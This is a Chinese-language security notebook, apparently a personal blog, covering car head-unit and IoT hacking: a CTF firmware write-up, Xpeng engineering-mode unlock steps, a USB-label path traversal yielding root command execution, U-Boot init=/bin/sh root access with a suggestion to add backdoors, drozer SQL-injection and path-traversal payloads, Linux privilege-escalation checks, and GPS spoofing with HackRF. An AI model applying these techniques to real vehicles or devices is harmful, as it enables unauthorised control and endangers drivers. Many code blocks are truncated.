1 | 10.325697 1 7DF Tx d 8 02 11 01 AA AA AA AA AA |
中间有个拒绝复位的,不知道咱们回事,后面又正反馈了,也不影响解题
那么主要就是第六步中的数据传输,编写脚本进行提取,参考:CTF实战
1 | import re |
最后得到output.bin
文件,放入IDA
进行解析,设置arm
小端序格式
随后设置ROM
和Input file
起始地址为0x08000000
进入分析之后,按下Alt + g
进行指令格式修改,设置如下
随后按c
转为代码即可正常逆向,0x08000000
为起始地址及函数,可以从这开始分析,查找字符串即可看到flag
,但是不是最终的,需要进入函数进行分析
在如下函数进行修改
最终得到flag
,那么提取出来计算一下就行。
1 | ori_flag = "canoecr7-zd9h-1emi-or8m-f8vm2od81nfk" |
使用ghidra
也可以加载File->import File
,设置language
为armv6
小端序
随后options
打开,设置一下基地址即可
也从最开始的函数分析即可
找到flag
一样解析一下即可。
站在主办方的角度准备车型、品牌,比如比赛在重庆举办,那么使用长安汽车的概率久比较高。
与车机组网,向上分析TSP平台的漏洞,常见的WEB漏洞;向下分析车机端的漏洞,比如任意软件安装
如果DNS(53)端口开放,那么热点极有可能是TBOX发出的。
拿到车机权限后就是进一步漏洞挖掘了
通过逻辑分析仪和示波器等,可以判断调试串口的Tx
接口、波特率等。
进入系统,一般查找如下几个点
FTP
获取用户名密码,登录篡改apk
包有很多的特殊的进入方法,比如拨号盘输入密码,长按系统版本版本号,时间等,逆向固件获取工程模式密码,咸鱼/淘宝搜索车型固件,社工
部分车型在拨号盘输入*#201301#*
进入工程模式,输入*#518299#*
进入Android
原生界面
小鹏P5 (OTA3.50及之前)或小鹏G9 (OTA4.3.1及之前)或小鹏G6(末测试)或小鹏P7(OTA2.10及之前)或小鹏G3 (版本不确定,最新版不行)
电脑和车机组网
打开车机的拨号界面,输入 *#9925*111#*
此时车机会显示一个页面,其中包含一个二维码
使用微信扫描车机的二维码,并将内容保存备用
在任意输入框中输入内容 https://hackxpeng.bgcpdd.eu.org/xpeng?m=hackxpeng&id= ,然后将获取到的二维码内容复制到最后面,注意此处不要有任何的空格
使用浏览器打开输入框中的所有内容 (网址拼接,如: https://hackxpeng.bgcpdd.eu.org/xpeng?m=hackxpeng&id-XPENGD55xXXXXXxxxxxxxx
浏览器返回一个解锁码,如*#03*12345678*#
将该解锁码输入车机的拨号界面,此时解锁码会自动消失,如果没有消失请手动删除所有内容
获取固件的方法有很多,除了提取之外还能从论坛、官网下载等
官网下载:车企官网可能可以下载车机升级包
分析流量获取下载地址:可以抓取车机升级包的流量,如果通过明文传输可以获取到下载地址
从Flash提取:编程器提取芯片
通过调试接口提取:车机上的系统,通常来说可以通过调试接口获取到对应的固件
从系统导出:这个就需要拿到shell权限进行导出了,常见命令为
1 | dd if=/dev/mtd0 of=/tmp/SD0/mtd0.bin |
常见的固件功能清单如下
名称 | 功能 |
---|---|
container.iso.bin | ISO光盘文件,包含bootloader、资源文件等 |
content.md5 | 保存其他文件的MD5值 |
custver.reg.bin | 注册表文件,记录软件版本信息 |
force.dnl | 配置文件 |
initramfs.bin | 内核文件 |
1x001.tar.gz | 压缩的根文件系统 |
manifest.ini | 配置文件,记录固件的版本号、创建日期等 |
manifest.mnf | manifest文件 |
manifest.smd | 其他文件的签名信息,用于验证数据是否被篡改 |
reg_eur.tar.gz | 压缩的资源文件 |
reg_gom.tar.gz.bins | 压缩的资源文件 |
reg_nar.tar.gz | 压缩的资源文件 |
SpecialLogDirX | 日志文件 |
triton_mid.bin | u-boot legacy uImage文件 |
uimage.bin | 内核文件 |
version.info | 版本信息 |
针对1x001.tar.gz
是车机的根文件系统,在文件系统中找到USB
挂载程序,存在路径穿越漏洞,在udev
的配置程序/etc/udev/scripts/mount.sh
中,automount()
函数用于挂载USB
设备
1 | automount() |
上述程序逻辑如下
ID_FS_TYPE
识别U盘文件系统的格式,如果识别成功则继续,否则退出ID_FS_UUID
和ID_FS_LABEL
,用于构造最终的挂载点,U盘挂载的地址由MOUNTPT
和mountdir
进行拼接而成,MOUNTPT
为固定值/dev/media
,mountdir
为一个变量,依据U
盘中对于ID_FS_UUID
和ID_FS_LABEL
进行赋值确定ID_FS_UUID
不为空,则mountdir
的值为ID_FS_UUID
,如果为空,则判断ID_FS_LABEL
是否为空,不为空则mountdir
的值赋值为ID_FS_LABEL
,若都为空,则将mountdir
赋值为disk
U
盘挂载到/dev/media/$mountdir
上,那么如果$mountdir
可控,就可以通过../
进行目录穿越,将之挂载到任意地方,比如/usr/bin/
中$mountdir
是可以通过ID_FS_UUID
和ID_FS_LABEL
来确定,而ID_FS_UUID
和ID_FS_LABEL
可以使用工具对U
盘对应值进行修改,这样就可以通过ID_FS_UUID
和ID_FS_LABEL
来控制$mountdir
从而制造目录穿越。使用blkid
、tune2fs
和e2label
命令来对U
盘进行对应值修改,命令如下
1 | blkid /dev/sdb1 #查看UUID |
随后继续看mount.sh
,有如下代码
1 | if [${status} -ne 0];then |
命令logger
位于/usr/logger
目录下,可以将LABEL
置为../../usr/bin/
从而将U
盘中的同名命令logger
放入到/usr/bin/
中,那么在mount.sh
调用到logger
时,就会调用到U
盘中的logger
,那么即可执行任意命令,也就是说通过插拔U
盘即可执行命令,不用进入到车机中,那么这时可以通过组网进行反弹shell
到电脑中。
如果在调试串口的系统启动过程有Hit any key to stop autoboot: 0
,那么代表在启动时时可以输入任意值进入U-Boot
的。
进入之后可以通过输入help
可以查看命令帮助,一般会有printenv
、setenv
、saveenv
等设置环境变量的命令,可以通过这些命令进入单用户模式重置root
用户的密码
比如bootargs
环境变量如下
1 | console = ${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handle=1 ${xtargs} |
可以使用设置环境变量的命令在最后添加init=/bin/sh
1 | setenv bootargs console = ${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handle=1 init=/bin/sh |
车机重启后,就能直接进入单用户模式,获得root
的shell
,此时就可以重置一些密码,添加一些后门等。
USBtin - USB to CAN interface - fischl.de
GitHub - CANToolz/CANToolz: CANToolz - Black-box CAN network analysis framework
进行CAN
模糊的
USBtin - USB to CAN interface - fischl.de
GitHub - EmbedME/USBtinViewer: Simple GUI for USBtin (USB to CAN interface)
进行USB
的CAN
协议探测
电压故障注入:《敲开内存保护的最后一扇门》付鹏飞
电磁故障注入:GitHub - newaetech/chipshouter-picoemp: Why not run micropython on your EMFI tool?
RID Byte Value | RID Name | RID Description |
---|---|---|
0x0000 – 0x00FF | ISO/SAE Reserved | This value shall be reserved by this document for future definition |
0x0100 – 0x01FF | Tachograph Test Ids | This range of values is reserved to represent Tachograph test result values. |
0x0200 – 0xDFFF | Vehicle Manufacturer Specific | This range of values is reserved for vehicle manufacturer specific use. |
0xE000 – 0xE1FF | OBD Protocol Test Ids | This range of values is reserved to represent OBD/EOBD test result values |
0xE200 | Execute SPL | This value shall be used to convert a program module to an executable form. |
0xE201 | Deploy Loop Routine ID | This value shall be used to initiate the deployment of the previously selected ignition loop. |
0xE202 – 0xE2FF | Safety System Routine IDs | This range of values shall be reserved by this document for future definition of routines implemented by safety related systems. |
0xE300 – 0xEFFF | ISO/SAE Reserved | This value shall be reserved by this document for future definition. |
0xF000 – 0xFEFF | System Supplier Specific | This range of values is reserved for system supplier specific use. |
0xFF00 | Erase Memory | This value shall be used to start the server’s memory erase routine. The Control option and status record format shall be ECU specific and defined by the vehicle manufacturer. |
0xFF01 | Check Programming Dependencies | This value shall be used to check the server’s memory programming dependencies. The Control option and status record format shall be ECU specific and defined by the vehicle manufacturer. |
0xFF02 – 0xFFFF | ISO/SAE Reserved | This value shall be reserved by this document for future definition.NOTE FF0216 was formerly used for eraseMirrorMemoryDTCs. |
参考:国产智能网联汽车漏洞挖掘中的几个突破点 (qq.com)
还有很多,在文章中有参考的应该都有标注
Hex Name Description
01 ISOSAEReserved ISO 保留,暂时未定义
…
0F
10 GeneralReject 一般性拒绝。通常在无法准确描述错误时发出
11 serviceNotSupported 服务不支持。多出现在服务未被定义
12 sub-functionNotSupported 子功能不支持。多出现子功能未被定义
13 ncorrectMessageLengthOrInvalidFormat 报文长度错误
14 responseTooLong 响应字节数太长
15 ISOSAEReserved ISO 保留,暂时未定义
…
20
21 busyRepeatRequest 过忙导致执行失败。多出现在快速发送请求
22 conditionsNotCorrect 条件不满足。多出现在整车状态无法满足诊断的需求
23 ISOSAEReserved ISO 保留,暂时未定义
24 requestSequenceError 请求的顺序错误。多出现在没有首先接收请求的情况下接收sendKey子功能
25 noResponseFromSubnetComponent 子网无法响应
26 FailurePreventsExecutionOfRequestedAction DTC出现了错误的记录。一般不出现
27 ISOSAEReserved ISO 保留,暂时未定义
…
30
31 requestOutOfRange 请求超出范围
32 ISOSAEReserved ISO 保留,暂时未定义
33 securityAccessDenied 安全访问模式错误
34 ISOSAEReserved ISO 保留,暂时未定义
35 invalidKey 密钥key无效
36 exceededNumberOfAttempts 收到的invalidKey超过了允许的尝试次数
37 requiredTimeDelayNotExpired NRC_36之后,安全访问锁定的时间内再次请求seed
38 reservedByExtendedDataLinkSecurityDocument 扩展数据链路层保留
…
4F
50 ISOSAEReserved ISO 保留,暂时未定义
…
6F
70 uploadDownloadNotAccepted 上传/下载受限。多出现在通过诊断刷写程序
71 transferDataSuspended 数据传输中断。多出现在通过诊断刷写程序
72 generalProgrammingFailure 编程失败。多出现在通过诊断刷写程序
73 wrongBlockSequenceCounter 块序计算错误。多出现在通过诊断刷写程序
74 ISOSAEReserved ISO 保留,暂时未定义
…
77
78 requestCorrectlyReceived-ResponsePending 请求正常接收,但应答正在响应中
79 ISOSAEReserved ISO 保留,暂时未定义
…
7D
7E sub-functionNotSupportedInActiveSession 该子功能在当前会话下不支持
7F serviceNotSupportedInActiveSession 该服务在当前会话下不支持
80 ISOSAEReserved ISO 保留,暂时未定义
81 rpmTooHigh 编程管理地址过高
82 rpmTooLow 编程管理地址过低
83 engineIsRunning 发动机运转。·
84 engineIsNotRunning 发动机未运转
85 engineRunTimeTooLow 发动机运行时间过短
86 temperatureTooHigh 温度过高
87 temperatureTooLow 温度过低
88 vehicleSpeedTooHigh 车速过高
89 vehicleSpeedTooLow 车速过低
8A throttle/PedalTooHigh 油门/踏板太高
8B throttle/PedalTooLow 油门/踏板太低
8C transmissionRangeNotInNeutral 非空挡
8D transmissionRangeNotInGear 不在指定档位
8E ISOSAEReserved ISO 保留,暂时未定义
8F brakeSwitch(es)NotClosed 踏板开关未关闭
90 shifterLeverNotInPark 车辆处于非P档
91 torqueConverterClutchLocked 液力变矩器离合器锁定
92 voltageTooHigh 电压过高
93 voltageTooLow 电压过低
94 reservedForSpecificConditionsNotCorrect 预留给特定异常情况
…
EF
F0 vehicleManufacturerSpecificConditionsNotCorrect 预留给整车厂定义的特定异常情况
…
FE
FF ISOSAEReserved ISO 保留,暂时未被定义
参考:跟我学UDS(ISO14229) ———— NRC码_nrc uds-CSDN博客
通过Datasheet,google等搜索芯片的PCB丝印信息
使用JTAGulator可以连接各个接口,地线,然后通过串口连接
分析Jtag接口
其他的也是类似的,help查看命令即可。
拆解芯片之后,使用RT809H编程器打开进行芯片识别,然后提取即可。
通过飞线连接对应的Jtag或者SWD接口等,然后用JFlash进行连接即可读取刷写
Target->Connect连接,随后选取range读取Flash,选取范围,有的芯片是只能读写某个范围的数据,可以自己尝试
整车攻击面
具体再看
从Flash中提取的固件,需要将固件中的Out-Of-Band(OOB)
空闲区块去除,常见存储为格式如下两种
对于2048字节的可以使用如下python代码清除
1 | data = open("image.bin","rb").read() |
Binwalk:
dumpifs:解包OS image(IFS)固件
dumpefs:解包Flash filesystem image(EFS)固件
simg2img:解包system.img和vendor.img
1 | simg2img system.img system.img.ext4 |
unpackbootimg:解包boot固件xiaolu/mkbootimg_tools: Unpack and repack boot.img,support dtb(dt.img). (github.com)
gunzip:解包ramdisk固件
1 | gunzip -c boot.img-ramdisk | cpio -i |
可以用Binwalk -A
进行识别指令集。
芯片DataSheet
查找
工具
switch定位识别,不太懂
……
….
主要是用芯片级别的调试,使用JTAG
或者使用gatttool进行重放
apkurlgrep
:ndelphit/apkurlgrep: Extract endpoints from APK files (github.com)扫描APK中使用的URL
apkleaks
:dwisiswant0/apkleaks: Scanning APK file for URIs, endpoints & secrets. (github.com)扫描APK中的密钥、URI等
StaCoAn
:vincentcox/StaCoAn: StaCoAn is a crossplatform tool which aids developers, bugbounty hunters and ethical hackers performing static code analysis on mobile applications. (github.com)可以帮忙扫描硬编码密钥、apikey、密码等信息
检查应用程序是否可以调试:debugable = "true"
检查是否可以允许备份:android:allowBackup = "true"
检查是否有导出的Activity:是否有<activity android:name=".TestActivity" android:exported="true"/>
,这样的Activity组件可以被其他应用调用
如果存在,可以以如下命令尝试启动
1 | adb shell am start -n com.example.demo/com.example.test.MainActivity |
检查是否有导出的Content Provider:是否有<provider android:name=".DBContentProvider" android:export="true"
,这样的Provider可以被其他应用调用
Content Provider所提供的数据可以存储在数据库、文件、网络上,可以用一个Drozer来模拟应用程序调用四大组件
WithSecureLabs/drozer: The Leading Security Assessment Framework for Android. (github.com)
当Content Provider为数据库存储,可能出现sql注入,可以如下尝试
1 | dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" |
当Content Provider为文件存储时,可能有目录穿越
1 | dz> run app.provider.read content://[APPLICATION_ID]/public/../../databases/database.db |
检查是否有导出的Service:是否有<service android:name=".ExampleExportedService" android:exported="true"/>
,这样的Service可以被其他应用调用
常见的处理代码从handleMessage函数开始,快速定位如下关键函数
1 | private final class ServiceHandler extends Handler { |
使用Drozer调用服务
1 | run app.service.send <package name> <component name> --msg <what> <arg1> <arg2> --extra <type> <key> <value> --bundle-as-obj |
检查是否有广播接收器:是否有<receiver android:name=".MyBroadcastReceiver" android:exported="true"/>
,这样其他的应用可以发广播给该程序
重点关注onReceive函数
1 | public class MyBroadcastReceiver extends BroadcastReceiver { |
使用Drozer调用服务
1 | run app,broadcast.send --component <package name> <component name>--action<action> --extra <type> <key> <value> |
检查是否有URL Scheme:检查Activity中是否有<data android:scheme="app" android:host="open.my.app" />
这样的Activity可以被其他应用通过URL打开,包括浏览器,这个即为Deeplink,用adb测试
1 | adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] |
通常还需要检查是否存在敏感参数,密码,明文传输,证书检查,弱密码套件(即加密算法)
检查Activity模式是否为singleTask:具有singleTask模式的Activity具有被劫持的风险,此类漏洞可以参考:Android task hijacking using moveTaskToBack() and excludeFromRecents (takemyhand.xyz)
检查是否有<activity android:name=".MainActivity" android:launchMode="singleTask"/>
不懂
Deprecated CipherSpecs - IBM Documentation
Vooki - Free Android APK & API Vulnerability Scanner | Vooki Infosec (vegabird.com)
getOutputStream
、getParcelable
exec
、sendBroadcast
等参考:secure-software-engineering/FlowDroid: FlowDroid Static Data Flow Tracker (github.com)
SQL注入、Javascript注入(XSS)如果webview代码中调用了setJavaScriptEnabled函数则可能开启,默认关闭的。
本地文件包含,如果代码调用setAllowFileAccess(false)则表示关闭了,默认开启的。
root权限进程:
1 | ps -ef |
查看网络信息,哪些开放断开,哪些有UNIX socket
1 | netstat -npl |
检查suid程序
1 | find / -type f -perm -u=s -ls 2>/dev/null |
检查任意用户可写的文件看是否能提取
1 | find / -perm -2 -type f -ls 2>/dev/null | grep -v "/proc/" |
检查任意用户可写的目录,是否可以创建符号链接来提权
1 | find / -perm -2 -type d -ls 2>/dev/null |
查看设备,寻找可以访问的设备
1 | ls -l /dev |
查看文件系统,观察哪些目录是可写的
1 | mount |
查看内核模块,是否存在自定义的内核模块
1 | lsmod |
查看防火墙,是否对高危端口做了隔离
1 | iptables-save |
查看网卡配置,检查其IP、MAC等信息
1 | ifconfig |
查看路由,检查网络通信方式
1 | ip route list table all |
检查内核版本,查看是否有历史漏洞
1 | uname -a |
检查环境变量,是否存在可写的文件或目录
1 | env |
检查crontab,是否存在可写的文件或目录
1 | cat /etc/crontab |
检查crontab的定时执行文件以及里面执行的内容,是否具有可写权限
1 | ls -al /etc/cron.daily |
可执行文件:包括shell、so等等,如果运行用户为root,但是低权限用户可以修改,则可以尝试修改获取shell
配置文件
1 | /etc/passwd 修改用户登录时执行的命令 |
数据库文件:通过控制数据库文件,从而影响从数据库文件获取数据的程序,比如将数据带入system,将数据当作URL访问之类的
Service文件:使用systemd的系统中会存在.service文件,如果可以修改,则可以在启动或者停止服务时加入自己的代码。比如修改ExecStart = /tmp/my.sh
,就可以在启动停止服务时执行my.sh
。其他的比如.time
,.socket
等
在可写文件夹中删除不可修改的文件,再创建该文件,从而达到修改文件的目的。
查找具有Capability的进程
1 | getcap -r / 2>/dev/null |
如果程序具有cap_dac_override
,那么该程序就可以写任意文件,如果可以控制写的目标文件和内容,就能达到提权目的了。此外还有CAP_SYS_ADMIN
、CAP_SYS_PTRACE
、CAP_SYS_CHOWN
等等
即攻击者作为普通用户普通进程,通过IPC和具有漏洞的root进程进行数据交互传输,利用root进程的漏洞来获取shell,从而完成提权,常见的有socket、MemoryMap、SystemV、Posix、NamePipe、SharedMemory等等
常见的总线协议为DBus和MQTT协议,这个暂时不懂可以用如下python代码和C代码建立DBus服务
1 | import dbus |
C代码为
1 | //gcc dbus_service.c -o dbus_service `pkg-config --cflags --libs dbus-1` |
使用如下shell代码向C程序发送信息
1 | dbus-send --session --dest=com.example.MyService --type=method_call --print-reply /com/example/MyService com.example.MyService.MyMethod string:"aaaaaaa" |
使用如下shell代码向python进程发送信息
1 | dbus-send --session --dest=com.example.MyService --type=method_call --print-reply /com/example/MyService com.example.MyServiceInterface.ProcessData string:"Hello, DBus!" |
可以用d-feet来查看dbus总线上的东西,另外需要区分session和system总线
刷写:诊断仪刷写
OTA:车机程序调用诊断仪刷写
OTA资质:生产厂家具备
25km/h算作机动车辆
M/N/O各种车型是啥
升级的时候,如果升级之后的系统变更的参数涉及到法规规定的,那么对应的RxSWIN码就会变更。
完整性 测试增删改
依据https://github.com/libexpat/libexpat/pull/558,对车机进行测试CVE-2022-25313,导出车机expat库,放入编译环境,设置编译参数
创建test.xml测试poc正常功能
创建poc.xml测试CVE-2022-25313,将poc,test.xml,poc.xml放入车机
运行测试,test.xml正常工作。
Poc.xml无法正常工作
使用gdb调试
此时栈空间已达临界值,即将到达临界值
再运行指令,访问sp-0x80空间,无法访问
触发CWE-400漏洞
依据https://gitlab.gnome.org/GNOME/librsvg/-/issues/515对CVE-2019-20446进行验证
下载foo.svg,大小为7KB左右,准备类似大小10KB的mySvgTest.svg文件,均传入车机。
使用rsvg-convert进行对mySvgTest.svg进行功能验证,花费不到1秒完成转换。
使用rsvg-convert对foo.svg进行测试,等待五分钟也无法完成
重新运行,将rsvg-convert放入后台,使用top查看消耗资源,持续占用较高CPU资源
经验证,rsvg-convert因为librsvg存在CVE-2019-20446,会触发CWE-400
若车机在处理svg调用到rsvg-convert以及librsvg动态库时,将存在CVE-2019-20446触发CWE-400的风险。
python2的一个漏洞
CVE - CVE-2019-9948 (mitre.org)
主要下载星历文件后使用gps-sdr-sim生成信号文件,然后用hackrf发送
需要下载谷歌地球和SatGen Trajectory Generation,生成路径,转换成信号文件发送即可
主要用Gnuradio生成信号干扰流图,参考:车载导航GPS安全研究 | 陶 | 智能城市应用 (viserdata.com)
主要依据如下流程图
生成对应的py文件,但是依据上述流程图生成的py文件会无法运行
会少一个Taps需要补充,添加一下即可
效果如下
异地录制然后发送信号即可
大多google或者datasheet
S32K312 BMS采用的芯片:S32K系列MCU学习介绍 (coloradmin.cn)
1、NTGAN256T32AC-J1J 2121996EP 3TW
nanya的LPDDR4低功耗内存
2、sec 307 B04P KLM8G1GEUF-B04P nv90303l
https://semiconductor.samsung.com/estorage/emmc/emmc-5-1/klm8g1geuf-b04p/
https://static6.arrow.com/aropdfconversion/9dd6fa565d4ffe1cc97d44276a9f0a0ddb22fa82/klm8g1geuf-b04p.pdf
三星EMMC存储芯片 8G
3、Ublox M9140-ka c1100A 08454356 2240a3
https://content.u-blox.com/sites/default/files/UBX-M9140_ProductSummary_UBX-19027230.pdf
ublox 的GNSS 定位芯片
4、Dolphin+ TCC8034 OBX-L HSK1ZZ-2 2249
TCC803x (Dolphin+) (ARM Cortex-A53 Quad, Cortex-A7 Quad, Cortex-R5)[6] CPU芯片
5、LP8864SQ1 2BTG4 AG-1Y
https://www.alldatasheet.com/datasheet-pdf/pdf/1286986/TI/LP8864S-Q1.html
具有升压控制器的汽车类高效LED 驱动器
6、LM5127Q TI 298 ABXJ G4
https://www.ti.com.cn/cn/lit/ds/symlink/lm5127-q1.pdf?ts=1699864602436&ref_url=https%253A%252F%252Fwww.google.com.hk%252F
7、ADW 10023Z-0 2232 5889729 PHIL
8、SI47971A0 2128A02A8V e3 TW
https://www.mouser.com/datasheet/2/472/Si47971_72_short-3051514.pdf
配备音频 DSP 子系统的汽车双接收器
9、Winbond 25Q32 JVS AQ 2312
https://www.winbond.com/hq/support/documentation/downloadV2022.jsp?__locale=en&xmlPath=/support/resources/.content/item/DA00-W25Q32JV_1.html&level=1
32Mb的Flash
10、SS3203007 1UR849 1002849000900572
11、TDF8546ATH/N1
https://www.aipcba.cn/datasheet/pdf/tdf8546athn1118-cm146822571-f48101326.html?page=1
https://www.mouser.in/datasheet/2/302/TDF8546_SDS-3139660.pdf
NXP公司的音频功率放大器芯片
简介:
仪表控制,灯光信号控制,座椅控制等等,座仓域
服务类型:
对应概念:
帧结构:
头部报文组成:
依据Logical Address来确定ECU的DoIP实体
诊断
对应请求报文如下
回应:
测试规范:
刷写规范:
BLE蓝牙,secrue connect hosts:False,看这个字段是否为True
随机数符合GM/T 0005-2012
推荐性国标:GB/T
做过GB/T 40857网关的
针对不同
C++程序用IDA打开好多都不能将switch识别成功,常常需要修复:
常常反汇编之后如下,这个基本就是无法识别switch的时候了
1 | __asm { jmp rax } |
进入到unk_41D4,里面放着对应的跳转数据
按d以4字节为一组对应修改为如下,可见跳转数量有6个
然后对应修改数据
Edit->Other->Specify switch idiom
打开之后修改对应数据
其中默认跳转位置可以通过调试看输入其他的选项的跳转位置。
View->Open subviews->Local_types
右键Insert输入对应结构体即可
在对应变量按y修改为对应指针
IDA中调试出现如下错误,或者观察也知道
这时候可能出现花指令,使得IDA无法正常识别,再往下走IDA跳转到0x40102f
,则证明0x40102c~0x40102e
这三个字节码都是无效的,直接nop掉,然后patch
之后重新打开IDA即可正常识别
以2020De1CTF-mixture
为例,IDA打开找到zif_类函数,可以看到堆栈指针问题
那么可能存在花指令或其他的影响,可以参考如下两种方法
首先考虑调试看看堆栈寄存器的变化,如下
可以看到,在执行从0x122E~0x124D这个代码块之前和之后的寄存器除了rip其他都没有改变。
栈环境除了rsp的值被改变了其他的没有什么影响,而对于栈来说,主要就是栈指针的移动和传入参数的压栈,首先栈指针并没有发生改变,在考虑传入参数的压栈。
传入的参数为如下两个参数rdi和rsi,并且最开始的汇编代码并没有对rdi和rsi进行操作,那么这段代码块就等于无效,相当于就是一个jz 0x124e
,那么我们直接给他nop掉即可
0x122e~0x124d如下
可以发现,call l2之后,l2函数通过rax把l2函数的返回地址+8了,也就是从0x1245变成了0x124d,那么就等同于如下代码
1 | .text:000000000000122E push rax |
这不就相当于啥也没做吗,只是有个mov [rsp+98h+arg], 0
操作而已,但是也不影响参数,等同没有。
之后的0x131E~0x132D也是一样的错误,直接nop掉即可。之后即可正常F5
虎符杯2022 gogogo
现有插件或者IDA7.6对go的符号恢复是基于gopclntab段上保留的函数符号,那么如果将该段上的符号函数进行修改或者隐藏,就不太容易逆向了
该题就是将main.main和math.init符号表替换,然后在main.main中设置一些原本main函数输入0x12345678退出的功能,使得逆向时我们认为main.main函数就只有这个功能,并没有其他功能,导致无法进行漏洞分析,修改回来就可以了,直接改这个表.gopclntab
即可
1 | class A { |
用上述代码的class A
来举例
在调用构造函数A::A()
之前会从堆里申请一块空间,即class A
的空间,包括指针和成员。
在A::A()
构造函数调用之后会初始化该堆空间,申请的堆空间如下。
然后还需要注意的是有两个函数指针,析构函数指针1和析构函数指针2,其中析构函数指针2是实际的用来释放空间的函数,即原始的析构函数,并且其中会调用到析构函数指针1,即用户自定义的析构函数相关的代码,并且地址是连在一起的,如下所示。
以上述代码的class B
来举例
其他的和没有父类的class也是差不多的。
比如A obj_a;
这种写法,那么其public
的成员会变成栈上的变量,private
成员无法访问,访问其成员函数还是在.text段上对应的。
A *point_obj_A = new A;
:会调用A的构造函数
A *point_obj_A = new(A);
:同上,一样的
A obj_A;
:A的构造函数调用之后,如果没有其他的操作,那么程序会自动释放该对象,调用析构函数,相当于局部变量。
B *point_obj_b = new B;
会先调用A的构造函数,然后再调用B的构造函数,和前面的指针没有太多关系,直接B obj_B
也是一样的
A *point_obj_b = new B;
一样的,只是将point_obj_b
标记为类型为A的指针,但是这样的话该对象指针point_obj_b
就不能调用到子类B的函数b()
了。(子类指针可以调用父类的函数,但是父类指针不能调用子类的特有函数)
参考:C++逆向之容器vector篇入门 - 安全客,安全资讯平台 (anquanke.com)
1 | vector<int> test1; |
这个不造成堆空间的分配
1 | vector<int> test2(5); |
这个在调用vector的构造函数时,会有堆空间的申请,用来存放容器内的数据,依据定义的大小来进行申请,比如这里就申请了5个int的变量,那么大小为5*4=20个字节,对应在堆空间里就需要申请0x20大小的堆块来存放。
使用malloc来申请
容量+初始值模式
1 | vector<int> test3(10,1); |
可以看到也是类似的,会创建一个局部变量v13作为初始值1传入vector的构造函数,并且申请堆空间后会进行初始化,所需大小为10*4=40个字节,对应0x30的堆空间,并且会初始化为1,如下所示。
相关寄存器如下
Begin+End模式
这里区别于之前的传值,即容量的值以及初始值的地址,取而代之的是数据的起始地址和结束地址。
1 | //传入test3在堆申请的存放数据的起始堆地址和结束堆地址,依据这段数据来进行初始化 |
相关寄存器如下
栈上的数组模式
主要就是关注vector
的构造函数
未初始化的只有vector
构造函数
初始化容量或者值的,就会调用allocator
来为容器进行分配,并且在vector
的构造函数调用时会从堆上分配空间。
在IDA中的vector
的构造函数中
参数一(RDI寄存器):即栈上保存vector
变量的栈地址,指向申请的堆空间地址。后面传入vector
的析构函数进行销毁。
其中的Begin和End是有效数据的地址范围,下面的那个地址是该容器申请的堆空间的末尾地址。
参数二(RSI寄存器):容量+初值模式就传入容量的值,Begin+End模式就传入Begin处的地址。
参数三(RDX寄存器):容量+初值模式就传入初值的地址,Begin+End模式就传入End处的地址。没有就为allocator
的参数。
参数四(RCX寄存器):一般为allocator
的参数,没有初值的时候就在参数三中。
最后会自动调用析构函数,传入构造函数创建时保存堆空间指针的栈地址。
1 | std::vector<int>::~vector(v17); |
主要关注push_back
和pop_back
push_back
:
vector
的值如果空间超过申请的堆空间大小,会free掉当前堆空间,然后malloc申请比之前大小的两倍减去0x10的大小。比如当前空间为0x50,那么扩容之后就是0x50*2-0x10的大小。
pop_back
:
只会修改之前提到的End地址,pop完之后如果接着pop则End会接着减少,会小于Begin的地址。
这里就存在漏洞了,就是如果接着pop会导致End不断减少,当小于Begin的地址时,这时候再push_back的话,就会在小于Begin地址处写入数据,导致堆块数据被重写,如下:
1 | vector<int> test; |
这样就会导致上一个堆块的数据被覆盖为0x50
此时再push_back(0x50)
,会如下
就导致漏洞产生了。
相关的IDA代码如下
1 | std::vector<int>::vector(v11, argv, envp); |
这个还是挺简单的,就不说了。
其他的像empty()
、resize()
、clear()
什么的也是类似的,不多说了。
🔺注
对于类class
放入vector
的情况,在vector
中只会保存对象的成员变量,而它的函数指针并不会保存
当从容器中取出来时,会通过一个函数来获取对应成员的地址,之后传入对应的函数。
常见双向循环链表管理
双向循环链表,定义之后栈上只保存头节点地址和尾部节点地址
每次申请push_back
加入对象时都会使用malloc
申请,创建next、prev
指针,然后拷贝数据,将其放入双向循环链表中
cq674350529/deflat: use angr to deobfuscation (github.com)
以上类型的就是平坦化之后的,需要找到函数入口进行去除,之后即可得到去除后的
1 | python3 deflat.py -f binary --addr 0x400530 |
使用代码查找内存,找到混淆的地方,然后通过avoid来去除
1 | binary = open('./yolomolo', 'rb').read() |
查找内存中的机器码为'\xB9\x00\x00\x00\x00'
的地方,即mov ecx 0
,这个为一些混淆的标志。
即找到混淆的标志点,然后通过avoid来去除。
1 | from idc_bc695 import* |
标识符:0x123456789
常见形式如下
首先轮密钥加(KeyAdd)
9轮循环:字节替换(substitution)、行移位(ShifRow)、列混淆(MixColumn)、轮密钥加(KeyAdd)
第10轮循环:字节替换(substitution)、行移位(ShifRow)、轮密钥加(KeyAdd)
第十轮没有列混淆,加密过程常见如下,函数名称是用Finger识别的
先for循环4次,再for循环40次,属于密钥扩展
如果密文的长度是16字节的整数倍,并且没有任何重复的块,那么可能是CTR或OFB模式3。
如果密文的长度是16字节的整数倍,并且有重复的块,那么可能是ECB或CBC模式3。ECB模式下,相同的明文块会产生相同的密文块,所以重复的块更容易被发现1。CBC模式下,相同的明文块不一定会产生相同的密文块,因为每个块都与前一个块进行异或操作1。但是如果明文中有大量的零或其他常数值,那么CBC模式下也可能出现重复的块3。
如果密文的长度不是16字节的整数倍,那么可能是CFB模式3。CFB模式下,可以对任意长度的明文进行加密,而不需要进行填充1。
参考:https://blog.csdn.net/qq_41853048/article/details/131771420
1 | import re |
几个常见模板
1 | from z3 import * |
在s.add中间需要用And(xx,xxx)来进行2个条件联合约束
1 | from z3 import * |
OLLVM(Obfuscator-LLVM)是瑞士西北应用科技大学安全实验室于2010年6月份发起的一个项目,该项目旨在提供一套开源的针对LLVM的代码混淆工具,以增加对逆向工程的难度,只不过仅更新到llvm的4.0,2017年开始就没在更新。
分类 | 描述 |
---|---|
